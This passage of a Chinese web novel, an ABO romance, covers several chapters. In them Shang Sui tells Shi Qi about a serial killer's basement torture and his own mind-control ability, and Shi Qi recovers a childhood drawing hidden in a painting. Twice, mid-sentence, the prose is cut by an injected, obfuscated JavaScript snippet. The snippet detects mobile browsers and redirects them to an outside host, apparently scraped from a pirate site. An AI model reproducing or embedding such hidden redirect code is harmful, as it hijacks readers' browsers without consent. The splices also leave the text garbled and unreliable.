时绮沉默地走到商随身边,扫了一眼他手边的相册。换在先前,时绮或许还会觉得羞耻,现在注意力却完全被另一件事占据。 他看向商随,欲言又止。 姜宥宁被时安叫走,黎昭还在外面,客厅只剩下他们两个人。 商随弯眼朝他笑道:“你以前的照片好可爱。” “……”时绮闷闷地说,“就那样吧。” 吧台的椅子不够高,Alpha长长的腿撑着地,如同太阳底下懒散休憩的狮子。 只看商随现在的模样,没人能想到他经历过那段黑暗的过往。 时绮见他脸上挂着笑,再也绷不住情绪,眼里闪过不易察觉的痛苦: “你怎么这么倒霉啊。” 时绮的嗓音透出些许喑哑,商随收敛起玩笑的神色,把相册放到一边。 他轻声哄着时绮问:“怎么了,宝宝。” 时绮的手指不自觉地掠过大腿右侧的口袋,里面装着黎昭给他的照片。 他一瞬间感到懊悔,不该在没想好之前开口。 时绮不回答,商随却很快猜到大概。 初次见面,他便感觉黎昭一直在观察他。他们素不相识,如果黎昭曾在他不知晓的情况下单方面见过他、并为此感到震惊…… 结合黎昭的职业,他好像大致能够猜到她跟时绮说了什么。 时绮低低的声音唤回了商随的注意:“为什么总有人欺负你。” 满怀恶意的连环杀人犯、大众对特易期难以消弭的成见,最近一次,郁知玲又跟神经病一样口无遮拦,无异于往商随的痛处戳。 “也没有很倒霉吧,”商随心照不宣同他对视,见时绮神情低落,伸手揉了揉他毛茸茸的脑袋,“我不是遇见你了吗?” “遇见我有什么用,明明就——!” 时绮没有再说下去。 他原本想考虑清楚再和商随谈,这件事情非同小可,如果贸然开口,他怕勾起不好的回忆。 前面他一直表现得很好,连擅长察言观色的黎昭都没看出异常。 可在商随面前,他眼眶发酸,好像越是面对亲近的人,越容易情绪外露。 时绮咬了咬唇,险些流眼泪。 “黎昭和你说了什么?” “……” 半晌过后。 商随捧起他的脸,像对待一片轻盈柔软的羽毛。 “无论她知道多少,那只是一段过去。”商随望着他湿漉漉的眼睛,“你记得吗?我说过,我曾经给你讲过一个不完整的故事。” “等你全部想起来,我想把一切完完整整告诉你。” “遇见你很重要,你对我来说很重要。” “因为和你的过去,覆盖掉了那段糟糕的过去。” 时绮的睫毛颤了一颤,须臾过后,才敢确定那句话的含义。 也就是说,他在六年前帮助过商随吗? 曾经他们的确非常亲密,但他只是自然而然地和商随相处,好像做得不够多、也不够轰轰烈烈……这样足以令商随摆脱阴影吗? 像是为印证时绮的猜想,商随朝他笑起来:“你是我最特殊的朋友。” 你拯救了我。 即使你曾经遗忘过我的名字,也永远一样。 63.魔法 在时绮心里,六年前的初识同样非比寻常,但他从未想过自己对商随有如此特殊的意义。 仿佛承载另一个人人生重量的经历,却以轻盈透明的姿态铺展开来: 他们只认识了一个夏天,彼此是对方特殊的朋友,年少时的第一次心动带来懵懂而纯粹的好感,不知不觉治愈一切。 如同完全理想化的童话故事。 时绮第一时间不敢相信,甚至于怀疑自己:他真的能改变另一个人,帮助对方走出阴影吗? 按照商随的性格,说不定只是在安慰他。 见时绮神色复杂,商随还想说什么—— “小绮?” 时安进到室内,看见时绮熟悉又陌生的背影,惊讶地抬高声音。 从背后看,毛茸茸的白金色脑袋的确是他们家孩子没错,可是…… 时安的目光掠过时绮身上花里胡哨的罩衫,再到腰上垂落的玫瑰金装饰链。 如此繁复的颜色出现在时绮身上,比标记带给时安的冲击还要大,简直像从头到脚写上了另一个人的名字。 他下意识问:“你怎么穿成这样?” 时绮听见动静回过头:“不好看吗?” “好看!可是……” 他和姜宥宁以前想方设法让时绮穿彩色,时绮听得烦了,到后来直接不搭理他们。 时安内心千转百回,几乎想要咆哮:爸爸和姐姐的话你当做耳旁风,男朋友的话你怎么就愿意听? 姜礼完全没察觉到其中的微妙,只乐呵呵地说:“小绮今天好亮眼,打扮得很漂亮。” 他又看看商随,恍然大悟:“小商也一样,两个人是情侣装吧。” 时绮淡淡应声:“是商随挑的衣服。” 莫名其妙的,时安从他的语气里读出一丝炫耀的意味。 时绮身上的衣服又是挖洞又是露出一半肩膀,只要不傻,就知道穿成这样必然会暴露吻痕。 时安看了一眼时绮后颈深深的标记,终于认命道:“你俩真是甜蜜。” 时绮状似谦虚:“还可以吧。” 时安:“……” 商随见他心情好了一些,笑着揉了揉他的脑袋。 时绮再看向他,眼神微微闪烁: “沈千俞给的药,我很早就吃完了。” “嗯?”时绮突然提起这茬,商随没反应过来。 “我已经想起大部分事情,你说的故事,我很快也会记起来,所以到那时候……” 时绮的手指不自觉抓住他的衣角,轻轻一拽:“把你的一切告诉我吧。” 心脏仿佛被猫爪子挠了一下,商随的神情不由自主变得柔软。 他顺势勾住时绮的肩膀,手指摸到Omega被标记过的后颈,时绮略微僵硬一瞬,又很快在他手下放松。 趁时安他们不注意,商随飞快啄了一口时绮的脸颊:“当然了,宝贝。” - 考虑到来祁江以后,时绮的时间基本都被他占据,没什么机会和家人相处,晚饭过后,商随主动和其他人道别,独自回到租住的别墅。 严格说来,他和时绮只有一墙之隔。 依靠标记,他能大致确定自己的信息素方向,知道时绮正在隔壁那栋房子里洗澡休息,他感到一股奇妙的心安。 睡觉之前,商随发了消息: Ss:[记得给自己上药哦。] 那边回得很快。 17:[1。] 看见时绮酷酷的回答,商随不由得笑起来。 他们先前折腾得太厉害,时绮还有些肿。 想到时绮浑身带着他的味道,在床上小心翼翼给自己上药,可能会坐在柔软的枕头上,或者跪趴…… 呼吸不禁乱掉一拍。 再想下去他自己都觉得自己有点变态,商随适时打住。 他无所事事滑动手机,忽然想起前些日子他给时绮现在的住址寄过一件包裹。签收时间他俩忙着滚床单,险些忘记这茬。 商随看了一眼,物流显示家人代签收。 姜宥宁应该会把包裹给时绮,商随放下心来,正准备睡觉。 17:[刚才忘记说。] 17:[晚安好梦。] 商随给时绮发了一条语音:“做个好梦,小绮。” 他说完闭上眼睛。 不知过去多久,意识渐渐模糊,身体像是从高处下坠,而后骤然一轻。 眼前浮起轻烟薄雾似的灯光,犹如梦境的指引。 四周的场景越发清晰,商随眨了眨眼,终于看清雾蒙蒙的光芒来自于床头柜上造型别致的玻璃黄铜灯。 在灯盏旁边,黑发灰瞳的少年双手抱膝,穿着尺码不合身的宽大睡衣。相较于现在,精致的面容要更为稚嫩。 十四五岁的时绮和他面对面坐在床上,大概觉得这个氛围很适合谈心,问出了好奇许久的问题:“你为什么讨厌雷雨天?” 时绮还没正式分化,没什么性别意识,但能闻到信息素的味道,不由自主被他吸引。 不仅喜欢和他肢体接触,有时候甚至会主动凑上来,自以为隐蔽地靠近他的后颈。 见商随沉默不语,时绮干脆伸出脚,催促性地踩了他一下。 他的动作很轻,肌肤相触的瞬间,仿佛被蓬松柔软的尾巴蹭过。 商随听见自己说:“雷雨天的时候,他会跟着我。” “他?”时绮疑惑道,“他是谁?” “我给你讲个故事吧。” 时绮饶有兴趣:“童话故事吗?” “不,是不太好的故事。”商随迟疑地补充,“作为睡前故事可能有些恐怖,你想听吗?” 时绮沉默三秒,好奇心最终战胜恐惧。 他默不作声往商随身边挪了一点:“你说吧,我不怕。” 除了心理医生,商随第一次主动向另一个人提起那段过去。 安静许久后,他尝试开口:“十五岁的时候,家里来了一个新管家,负责照顾我的起居。” “他叫曾羽,是个Beta,擅长烹饪美食、照看花园,将一切安排得井井有条。” “无论面对谁,他都能留下好印象,身上透出一股奇异的亲和力,轻而易举便能获取他人信任。” 商随停顿须臾,眼里逐渐流露出厌恶:“不知道为什么,第一次见到他,我有种本能的抗拒。” 他跟虞晚提过,他并不喜欢曾羽。 可他说不出具体的原因,加上那段时间虞晚和商曜工作繁忙,经常不着家,担心他一个人照顾不好自己,虞晚让他先试着和对方相处,过一段时间再换人。 这个决定令虞晚后悔终生。但他明白,并不是虞晚的错。 曾羽从一开始找上门就是因为他,对方旁敲侧击打听到他的消息,猜测出他是特易期。 虞晚的好友对曾羽称赞有加,将他介绍过来,现在想想,那人大概也被曾羽精神操控过。 “直到有一天,我在自己家的地下室发现了一对被困的母子。”商随说,“那天我才知道他实际是个Alpha,为了给人留下无害的印象刻意伪装性别。” 这个诡异的故事令时绮脊背发凉,下意识追问:“然后呢?” “他让我……” 商随望着时绮剔透的眼睛,有些担心接下来的一切对时绮来说太过血腥。 每当这种时候,时绮总是很敏锐。 他将双腿挤进商随腿间,两个人相互交叠。暖黄的灯光犹如一座小小的屏障,他们在其中依偎着取暖。 时绮抓住他的手:“告诉我吧。” 商随情不自禁反扣住时绮的手: “他让我二选一,剁掉他们其中一个人的手指,十根手指,这对母子能多活十天,如果我不做,他会直接杀掉他们。” 饶是做了心理准备,时绮一刹那毛骨悚然:“他疯了吗!” 最初商随察觉到异常,想要报警,曾羽先一步发现他的动静。他被强行拖到阴暗潮湿的地下室,曾羽将他踹到墙上。 成年Alpha力气大得惊人,况且是一名连环杀人犯。商随喉口一甜,才意识到自己吐了血,浑身骨头仿佛错位。 他从小喜欢绘画,虞晚对他说,要保护好自己的手。 但在曾羽逼他做出选择时,商随崩溃道:“别动他们,你剁我的手吧!” 曾羽对此充耳不闻,转而让沈千俞抉择,后者强行压下恐惧:“那就剁我的。” 听见沈千俞的答案,曾羽嗤笑一声。 他回头看向商随:“你的资质很好,即使在特易期里也万里挑一。只要你试过一次,就不会忘记那种滋味。” 曾羽循循善诱:“你会发现一切对你来说格外轻松,皮开肉绽的瞬间像划开奶油,骨头被切断有悦耳的响声,还有主宰他人生死的快感。这一切都会令人上瘾。” 无论他说什么,商随始终摇头拒绝。 曾羽最后不耐烦,抓起旁边的匕首。 沈千俞见曾羽逐步逼近,面色渐渐发白:“喂!你快动手!只是一根手指而已!!你就当帮我的忙!!” “我不是早就说过吗,”曾羽见状哈哈笑起来,“他们会感激你的。” “我不会怪你,快动手!!” “……不,不,我做不到!”商随跪在地上,浑身发抖,“剁我的手吧,把我的指头全部剁掉!放过他们,求求你!求求你!!” 沈千俞的母亲在这时醒了过来,瞥见曾羽手中闪烁的寒光,爆发出一阵尖叫。 商随抬高声音阻止:“好,我动手!你别杀人!” 曾羽却叹息一声:“晚了。” 话音落下,他高高举起匕首。 女人声嘶揭底的求饶、少年恐惧的叫喊,一切的一切压缩到极致,在商随眼前爆炸开来。 有什么埋藏在大脑深处的力量发出沉闷的低鸣,下一瞬间冲破阀门般骤然开启。 商随头痛欲裂,失控的信息素翻涌不停,不管不顾道:“停下……停下!!” 只差一厘米,刀尖便会刺进沈千俞的心脏,曾羽却毫无预兆停下动作。 看不见的力量犹如成百上千只钢钉,每一根都死死卡进关节,曾羽被钉死在原地,无法移动分毫。 商随先前受了伤,撞上墙时刮蹭到锐利的金属架,手臂和后背全是伤口,浑身鲜血淋漓。 他像感觉不到疼痛,双目注视着无法动弹的曾羽,慢慢从地上站了起来。 一旦意识到那股埋藏在体内的力量,他天生就懂得如何控制它。 商随下了第二个指令:“扔掉刀。” 曾羽不受控制张开手,匕首落在地上划出刺耳的声响。 “原来你也能做到……” 短暂震惊过后,曾羽眼中流露出喜悦:“果然没错,我一直觉得你比其他人更为出色,原来你真的和我一样!那些特易期都是不完整的废物,只有你和我才算得上高人一等!!” 见他欣喜若狂,先前向他下跪恳求的少年仿佛变了一个人,声音异常冷酷: “给我闭嘴。” 商随嘴角不断溢出血丝,能感觉到曾羽在试图冲破他的约束。 他竭尽全力控制对方,勉强支撑身体,用最后一丝力气帮沈千俞割开绳索。 在他背对曾羽时,束缚的力量逐渐变弱,不等沈千俞提醒他小心,有人先一步撞开地下室的门! 伴随着持续不绝的警笛声,刺目的灯光从进出口涌入。警方追查到异常,从外包围整栋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15693465|158502||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 房子。 后面发生的一切模糊不清。商随耗尽力气,几乎无法站稳,只记得雷雨的轰鸣和划破天际的雪色闪电。 他浑身都是血,父母匆匆赶来,虞晚哭着抱住他,商曜在一旁焦急地联系医生,同时向警方询问具体情况。 一片混乱中,曾羽突然向他跪下。 “你胜过了我。” 在所有人不可思议的目光里,曾羽直勾勾注视商随:“你该是我的孩子,只不过从别人肚子里爬了出来。” 虞晚高声咒骂,恨不得将曾羽碎尸万段,他第一次见到她如此失态。 即使她第一时间捂住他的耳朵,商随还是听见了那段话: “你和所有人都不一样!除了我,没有人是你的同类,他们说着不害怕,却还是会把你当成怪物、向别人吐露你的秘密。” “总有一天,你会发现,”杀人犯的眼神透过瓢泼大雨落在他身上,如同阴魂不散的诅咒,“没有人能真正接纳你,你至死都是格格不入的异类。” …… …… 时绮听到这里,浑身血液仿佛倒流。 他整整缓了半分钟,才从强烈的情绪中抽离出来,迟来地发现眼泪滴落在床单上。 商随没想到这个故事令他这么难受,神情无措地安慰:“别哭。” 他不说还好,一说时绮顿时控制不住情绪,眼泪大滴大滴往下掉。 因为止不住的哭泣,他双眼通红,鼻尖也泛起红色,模样格外可怜。 商随不知该如何是好,既想帮他擦眼泪,又怕会让时绮更难过,慌乱之中,他心里甚至生出一丝不合时宜的满足。 愿意为他哭泣,是不是说明他对时绮很重要? 他的手指轻轻动了动,有一瞬间,想伸手将时绮抱进怀里。 时绮哭着哭着举起手臂,用力擦了一下眼睛,将多余的眼泪抹掉。 铺天盖地的难过之后,心里涌起无法遏制的愤怒,时绮恨恨地说:“他算什么东西,凭什么觉得你跟他一样?!” “因为……”商随迟疑片刻,“我和他都能精神操控他人。” 时绮第一次接触到这一词汇,不由得重复:“精神操控?” 像是在游戏或电影里才会出现的情景,说出来都觉得不可思议。 讲述往事时,商随模糊了制服曾羽的过程。时绮反应过来:“你用这种能力制住了他?” 曾羽在最后向商随下跪,除了故意恶心他,竟是包含对他的认可。 商随点了点头。 半晌过后,他低声道:“曾羽在那一晚自杀,但是……” 时绮明白了他的未尽之言。 死去的亡魂阴魂不散跟在他身边,一到雷雨天,商随便会看见曾羽的影子。 浑身带血的杀人犯嘻嘻哈哈凑上来,如同跗骨之蛆,不断诉说他与他人的不同。 他注定无法被人接纳、至死是格格不入的异类。 时绮紧紧握住他的手:“上一次的雷雨天,你也见到他了吗?” 那晚他和商随睡在一起,却没察觉到任何异样。 时绮心里懊恼,正觉得自己太过迟钝,只顾着闻商随的信息素、都没去关心他的状况。 “没有。”商随同样不可思议,“那是两年以来,我第一次没在雷雨天见到他。” “!” 时绮心脏倏忽一跳。 “我想试一试,”时绮突然说,“你精神操控我吧。” 商随一愣。 时绮直直注视他的眼睛:“我想看看,你到底有多不同,他凭什么断定没人敢接纳你。” 商随下意识拒绝:“你可能会觉得恶心。” 精神操控太过罕见,国内已知的例子只有他和曾羽。 他的能力刚觉醒时,状况十分不稳定,时不时会控制不住自己。在他不小心操控商曜后,商随从他和虞晚眼里看见了无法掩饰的震惊。 等待结果的一个月,他和父母都生活在高压之中。特易期的监管机构直接将他当做犯人看待,只要出门,便会有人二十四小时监视他。 虞晚和商曜想尽办法帮他从媒体那边压下消息,如果知道连环杀人犯在被捕时向一个少年下跪,后果不堪设想。 回过神来,虞晚和商曜不断向他道歉、说他们不该反应过度。 他明白父母没有不信任他,只是那时候大家都恰好太累太累,如同过度紧绷的弦。 但他依旧忍不住一次次想,为什么他要和别人不同。 特易期是Alpha当中的异类,在特易期里,他也算独一档的怪物。 他无法接受,自厌的情绪如海绵吸水般不断膨胀,每到昏暗潮湿的雷雨天,都觉得自己是无法被修整的错误。 第一次有所改变是在上一个雷雨夜。 和时绮一起睡觉那晚,他没有见到曾羽,枕边传来轻微的、平缓的呼吸,时绮无意识蹭到他身边,纤细的手臂揽住他的肩膀。 他第一次觉得,世界若停止在这一刻也不算太糟。 “那也要试试才知道,说不定我会觉得很神奇。” 清澈干净的声音将商随从回忆里拉了出来,他看见暖色灯光汇入时绮深灰色的眼瞳,如同一汪小小的、荧光闪烁的湖泊。 “如果面对他,我会嫌恶心,但在你身上,这种能力就像魔法一样。” 真正说来,那句话才像是魔法。 仿佛又回到上一个雨夜,商随再也抑制不住一直以来的渴望,小心翼翼地向时绮靠近。 “我想……” 他声音颤抖,依照时绮的要求用了能力:“我想要一个拥抱。” 比起用精神操控下达命令,更像恳求。 “抱抱我吧,时绮。” 64.救赎 时绮睁开眼睛。 他的手指无意识蜷缩,像是要留住什么。 “抱抱我吧,时绮。” 那句话仿佛魔咒,心口传来迟缓的疼痛,混合着难过与心酸铺天盖地压下。 他终于记起来,商随曾向他袒露过最大的秘密。 对方忐忑地望向他,害怕自己与生俱来的能力令他感到恶心。 等时绮再有意识,不由自主张开双臂。 “好神奇,但是……” 他惊讶不已,一把抱住商随:“和你拥抱不是因为精神操控,是我本来就想抱抱你。” 比他高大许多Alpha僵硬在原地一动不动,须臾后慢慢伸出手,小心翼翼回抱他。 拥抱持续很长时间,他看不见商随的脸,只记得床头柜上灯盏的光芒犹如四散的薄雾。 时至今日,他清晰记得那盏玻璃黄铜灯是铃兰造型,莹润的花瓣表面熠熠生辉。 半晌过后,手臂倏忽传来些许温热的湿润。 泪水滴落在皮肤上格外安静,犹如融化的细雪。 时绮愣愣地问:“商随,你在哭吗?” …… …… 时绮用手背盖住眼睛。 商随是不是还在精神操控他。 不然为什么时隔多年,心脏依旧传来止不住的钝痛。 他眼眶发酸,鼻尖都泛着红晕。下楼时姜宥宁兴冲冲叫住他:“小绮!我有东西要给你——” 姜宥宁骤然抬高声音:“谁欺负你了?!” “没什么,做了一个梦。”时绮音色有些闷,“你要给我什么?” 姜宥宁怀疑地看向他,转念一想,时绮并不是受了委屈一声不吭的性格,放下心来道:“你以前的日记本,我收相册时不小心顺手装进行李箱。还有一个从首都寄来的包裹,寄件人是宁山美术馆。” “美术馆?” “很大一件,看起来像是画。”姜宥宁说,“我们之前看过的美术展就是在宁山举办,你问问商随?他可能知道。” 从姜宥宁手里拿到这两件东西,时绮先是扫了一眼蓝底黄纹的本子,确定是他十四五岁的日记。 这本日记当初被他带去了祁江,为了找回记忆他翻过许多次,但都一无所获。 时绮的注意力全在包裹上,暂时把日记本放到一旁。 画作装在定制的纸箱里,包得十分严实,他拆开里三层外三层的珍珠棉,去掉最后一层无酸玻璃纸,明艳与晦暗的色彩层层叠叠映入眼帘。 天使落在窗台,怪物躲藏在室内的角落窥探。 看展的时候,见他喜欢这副画,商随说可以送给他。 和当初一样,他心里涌起一股奇异的感受,就像这幅画本该是他的东西。 纯白的大理石阳台、若草色窗帘、做旧的粉墙壁…… 时绮越看越眼熟,脑海中不受控制浮现相应的画面。 少年时的他坐在阳台上,看着商随画画。 天使周身沐浴在圣洁的光晕之中,羽翼伸展开来,奇迹一般降落在阳台。 他的五官做了模糊处理,没有清晰的面容,却丝毫无损于璀璨夺目的美丽。 至于另一个东西…… “这什么玩意儿,”时绮看看画上形状不规则的几何体,荧光色的污血自它体内流出,令那副怪物一般的身躯仿佛在尖叫,“丑了吧唧的。” “……” “怎么了?” “本来想送给你。”商随低声说,“你不喜欢就算了。” “等等!”时绮改口道,“其实也不丑,长得很有特色,至少我看一眼就能记住。” 商随嗯了一声:“适合辟邪。” 时绮沉默三秒,伸手抓住他的衣角。 偶尔他跟姜宥宁讨要东西也会用这一套,时绮没多想,手上撒娇似地晃了晃:“送给我吧,哥哥,我想要你的画。” 商随手一抖,画笔落在地上发出一声脆响。 时绮好心提醒:“你的笔掉了。” 见商随一动不动,他奇怪地问:“你脸红什么?” 商随回过神,意味不明:“你真是……” 时绮迟来地意识到自己的举止似乎太过暧昧,猛地缩回手,耳根也开始发烫。 他目光乱瞟,又落在画上。 在发现阳台、窗帘和墙壁颜色都能对上现实后,他迟疑地问:“这是你吗,那……天使是我?” 饶是他一向习惯旁人对自己的夸赞,也不免觉得商随太过夸张。 “你怎么喜欢丑化自己,只把我画得好看。” 商随轻声说:“本来就是这样。” 知道画上的“怪物”是谁,时绮越看越顺眼,丑陋不堪的外表似乎也变得笨拙可爱。 “说好了,这幅画给我。”他弯起眼睛,“我跟你交换。” 第二天傍晚,商随收到了一幅画。 那张涂鸦一样的简笔画故意压在油画画架上面,覆盖了他的画,像是小猫耀武扬威按下爪印。 时绮躲在阳台角落观察他的反应,许久以后,看见商随眼底浮现笑意,珍惜地将那副涂鸦收好。 他想知道自己具体画了什么,脑海中的闪回却戛然而止。 时绮从回忆中清醒过来,下意识晃了晃脑袋。 他给出去的那幅画……会被商随放在哪? 一想到商随特意将油画寄到他手上,时绮心有所感,将它翻转过来。 画框的木质背板用四根金属条固定,时绮找了一把十字螺丝刀,一个个拧开金属条上的螺丝。 他怕磨损画作,揭开背板时小心翼翼,一张单薄的素描纸从里面滑落下来,它被保存得很好,即使时隔六年,边缘也不见泛黄。 果然在这里。 时绮心情复杂地拾起,目光骤然凝住。 那是一副色彩缤纷的蜡笔涂鸦,线条十分稚嫩,绘制者显然用尽最大努力还原,能看出与油画是相同的场景。 画上有两个人。 其中一个背后顶着的玩意儿看起来像新鲜出炉的炸鸡,时绮姑且认为是天使翅膀,另外一个则头戴皇冠。 两个火柴人脸上都强调性地画了笑脸,看起来十分开心。 在画作下方有一串行云流水的字迹,比起幼稚的涂鸦,清隽漂亮的字体如同装饰。时绮一眼看出是他自己的字: [这是我的画,和你交换。] [千灯节的时候,我的愿望是希望你过得轻松一些,你好像总是不开心。 但我现在知道,如果经历过那些事情,没有谁能天天开心,你已经很厉害,做得很好很好。 那天无意中跑进你住的房子就像童话故事。 对我来说,你不是怪物,是漂亮的王子。] 一直没有落下的眼泪终于止不住,滴落后打湿画纸边缘。 “小绮,我听姜宥宁说你在房间里——” 熟悉的声音从门口传来,时绮没有落锁,商随试探性敲了敲门,而后推门而入。 他看见时绮坐在飘窗边,旁边放置拆开的画框。风吹起纯白的窗帘,模糊了时绮的表情。 商随倏忽停住脚步。 “六年前,你最后来找过我。”时绮抬头,商随才看见他眼底积蓄的泪光,“对吗?” 三个月前,舞蹈比赛后商随也送了他一幅画,开玩笑一样说不要扔掉。 他当时以为那只是随口一提,却不曾想过其实是不敢挑明的请求。 这副描绘天使与怪物的画作兜兜转转回到商随手里,说明对方曾经来找过他。 在他分化那晚,家人匆匆送他去往医院,第二天便回到首都。中途他一直处于昏迷状态,自然没人知道那幅画是商随送他的礼物。 六年前的结尾并非简单地打不通电话,在易感期结束后,商随发现他们家租住的房子空无一人,只有一幅被落下的画作,这才彻底心灰意冷,选择不再打扰他。 那一天距离商随告诉他精神操控的秘密,才过去半个月。 想必在那时候,商随以为他丢掉了画,也抛弃了自己。 “你那时候不怨我吗?”时绮思绪混乱,口不择言道,“你把自己的秘密告诉了我,可我却没有从始至终站在你身边,你不会觉得我不够勇敢、不够坚定吗?” 与先前不同,有那么一瞬间,他宁愿商随对他失望过。 而不是将他看作救世主,在分离后依然对他充满感激。 “当然没有,”商随立即否认,“你那么好,只是遇见就该感谢,我怎么可能会怨你。” “无论是你给我的拥抱、还是在画上写的字,在我看来都是独一无二的珍宝。” “我就是靠着它们和与你有关的回忆才一步步走了出来,从相遇第一天起,你一直把我当正常人看待,你可能不知道这对我来说有多重要。”他走到时绮面前,用指腹轻轻触碰湿漉漉的面颊,擦掉一小部分眼泪,“在我见过的人里,没有谁比你更勇敢。” “你一直在选择我。得知这件事迟了六年,却一点都不晚。”商随用双手捧起他的脸,“之前没来得及说,知道没有被你放弃过,我真的好开心好开心。” 凝聚在一起的视线、亲密的言语、肌肤相触时熟悉的体温。 他好像又回到商随向他袒露秘密的那一晚,铃兰造型的黄铜灯散发盈盈光芒,他们相互依偎。 “我当然不会放弃你,”时绮闷着声音说,“你也是我最特殊的朋友。” 想到昨晚的梦境,时绮问出自己最担心的问题:“后来的雷雨天,你是怎么过的?你还会见到那个人吗?” 确定昨夜他们做了同一个梦,商随有片刻的不真实感。 回过神来,他望向时绮清澈的眼睛:“那年夏天以后,我再也没见过他。” 他向时绮袒露了不堪回首的过去,在一个亲密无间的拥抱后,伤疤奇迹一般得到治愈。 雷雨天徘徊在耳畔的诅咒消失不见,他再也没见过曾羽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15710940|158502||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “真的吗?”时绮喃喃道,“太好了。” 他不知道如何表达这一刻的心情,情不自禁重复:“这样太好了。” 说着说着,时绮的眼泪抑制不住滴落,他哭得太厉害,脸颊都泛起红晕。 商随张开手臂,温柔地将他揽进怀里。 时绮呜咽着靠近他,下意识把头埋进商随的脖颈,熟悉的怀抱与气息带给他无与伦比的安全感,他的手指情不自禁收紧,用力抓住商随的肩膀。 “怎么哭成这样,”商随柔声说,“像小花猫。” 时绮抬起头,泪水模糊了视线,令他暂时看不清商随的表情。 “你凭什么不哭?”时绮恶声恶气命令,“少在这里嘻嘻哈哈,你也给我哭。” 商随安静片刻,眨了眨眼。 他应该在努力酝酿,却控制不住,最后居然笑起来。 “?” 时绮手指发痒,一瞬间想揍他。 商随笑着和他额头相抵,声音犹如梦呓:“怎么办,我哭不出来。” “一想到我们现在在一起,过去的事情都变得不重要。能和你重逢、看见你为我流眼泪,我只觉得很幸福。” 商随发自内心道:“太幸福了,感觉我下一秒会遭天谴。” 时绮还没见过自己咒自己的,好几句怼人的话到了嘴边,最后只无奈道:“你是笨蛋吗,不准想东想西。” 他能猜到商随在想什么。 人在最为幸福快乐的时候,会不由自主地担心失去。 “好哦,”商随笑着回应,“绮神降下的神谕了,那我听话。” “……” 时绮被他一打岔,难过的情绪消散不少。 商随很有眼力见地递上纸巾,动作轻柔地替他擦眼泪。时绮稍微缓和好心情,想起他先前说过六年前讲述的故事并不完整。 “故事的下半段是什么?” “故事的下半段啊……”商随回忆道,“经历过曾羽的事情,我有了一些轻微的心理问题,变得沉默寡言。” “在正式调查结果出来以前,特易期的监管机构一直在监视我,他们对我并不友善。” 他那段时间经常出入宁山医院的精神科,监管机构的工作人员二十四小时远远跟着他。有一次商随无意经过花园,听见他们在背后议论: “警方需要调查这么久吗?天天守着他,我都快烦死了。” “特易期能有几个好东西,据说他还跟一般人不同,能够控制他人。” “编故事呢你,哪来这么神奇的能力?但那小子阴沉沉的,眼神一看就是杀人犯。” “嘘!小声点儿吧,他可是姓商。” “这么长时间,说不定他家里在想办法帮他洗清罪名,打通关系后再找个替死鬼顶上。” 他们说得有模有样,各类猜测层出不穷。比起愤怒,他更大的感受是麻木。 商随正准备离开,忽然传来一道严厉的女声:“身为监管机构派来的专员,你们对特易期的看法并不公正,私自非议监管对象并质疑警方,已涉嫌违反工作纪律。” 那位女刑警是当时重案组的二把手,商随只和她打过一次照面,依稀记得她做事雷厉风行。 “你们的名字我都记下了,”女刑警的目光一一扫过工牌,淡淡道,“我会向机构反馈。” 几名工作人员被吓得不断道歉,但她头也不回离开。 商随犹豫片刻,选择跟上她,经过拐角时女刑警放慢脚步,等待他跟上去。 商随向她道谢:“刚才谢谢您。” “不客气,”她稍加考虑,委婉地说,“调查已经到了尾声,如果你是无辜的,警方会还你一个清白。那之后监管机构无法再监视你,今天的事情也不会再发生。” “她人真好。”听到这里,时绮对那位女刑警充满了感激。 商随点点头:“我当时太过麻木,后来想想,我很感谢她。她是那件事里为数不多向我释放善意的人。” “她最后说,经历过这些一定很痛苦,但只要活着,或许总有一天我能放下。” “可能是一个瞬间、一件事,或者一个人,当我意识到的时候它已自然而然发生。放下一切的契机难以预测,就像命运。” 时绮心中好似有灵犀一照,听见商随继续道:“我曾经以为我等不到那个契机,我没那么幸运,这么好的事情怎么会落在我身上?” 他朝时绮笑笑:“下半段故事其实是我的剖白。” 六年前他察觉到时绮的到来非同寻常,经历过数轮春夏秋冬,他终于能确信,时绮就是那个命运般的契机: “我讨厌夏天,不喜欢雷雨天,它们会让我想起那间地下室。” “但因为是在夏天遇见你的,开始对这个季节有了浪漫的印象。阴暗潮湿的地下室,我再也没有回去了。” “你拯救了我,所以永远会是你的朋友。” “无论发生什么,都永远一样。” 65.预感 快到农历新年,祁江张灯结彩,城内灯盏与鲜花随处可见。 连续阴雨后阳光晴朗,窗外紫藤花如瀑布倾泻,重重叠叠的花瓣投下阴影,落在一张同样惹人注目的脸上。 “我有一种预感。” 商随单手撑着脸,整个人沉浸在幻想中不可自拔:“小绮最近会跟我求婚。” 江砚睁大眼睛:“真的吗?” 沈千俞的年假只休到年前。想着来祁江后大家还没见过面,江砚昨晚拉了个群,问过商随和时绮,确定都有空,约好今天聚餐。 说是聚餐,唯一会做饭的只有沈千俞,在场另外两个都是十指不沾阳春水的大少爷。 商随出于礼貌问过要不要把家里的厨师带来,被拒绝以后心安理得上门蹭饭。 沈千俞独自去了厨房,剩下商随和江砚在客厅聊天。 江砚:“有没有可能是你自己鬼鬼祟祟,才觉得时绮也在准备。” 进门没多久,商随便来了一句这周末有空吗?我要跟时绮求婚。 大致跟他们确定好细节之后,商随一个人望着窗外发呆。 